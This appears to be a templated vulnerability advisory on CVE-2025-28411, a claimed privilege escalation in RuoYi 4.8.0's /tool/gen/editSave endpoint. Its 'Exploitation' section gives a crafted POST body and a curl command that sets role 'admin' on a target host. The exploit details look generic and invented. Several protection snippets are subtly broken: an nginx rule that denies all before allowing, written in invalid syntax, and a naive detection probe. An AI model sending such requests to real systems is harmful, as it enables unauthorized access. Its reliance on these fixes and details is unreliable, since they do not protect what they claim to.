How CVE-2025-28411 Works
The vulnerability exists in RuoYi v4.8.0’s `/tool/gen/editSave` endpoint due to insufficient privilege validation in the `editSave` method. An attacker can craft a malicious HTTP POST request with elevated permissions parameters, bypassing authorization checks. The system fails to verify the user’s role before processing the request, allowing unauthorized privilege escalation. This flaw enables remote attackers to gain administrative rights by manipulating user role assignments or system configurations through the vulnerable endpoint.
DailyCVE Form
Platform: RuoYi
Version: 4.8.0
Vulnerability: Privilege Escalation
Severity: Critical
Date: 04/09/2025
What Undercode Say:
Exploitation:
1. Craft malicious POST request:
POST /tool/gen/editSave HTTP/1.1
Host: target.com
Content-Type: application/json
Payload: {"role":"admin","perms":"::"}
2. Exploit via cURL:
curl -X POST "http://target.com/tool/gen/editSave" -d '{"user":"attacker","role":"admin"}'
Protection:
1. Patch: Upgrade to RuoYi v4.8.1+.
2. Input Validation:
if (!currentUser.hasRole("admin")) {
throw new AccessDeniedException();
}
3. WAF Rule:
location /tool/gen/editSave {
deny all;
allow trusted_ips;
}
4. Log Monitoring:
grep "POST /tool/gen/editSave" /var/log/nginx/access.log | grep -v "192.168.1."
5. Mitigation: Disable `/tool/gen/editSave` if unused.
6. Exploit Detection:
import requests
def check_vuln(url):
r = requests.post(url + "/tool/gen/editSave", json={"role":"test"})
return "admin" in r.text
7. Patch Verification:
diff -r ruoyi-4.8.0 ruoyi-4.8.1 | grep editSave
8. Network Restriction:
iptables -A INPUT -p tcp --dport 80 -m string --string "/tool/gen/editSave" --algo bm -j DROP
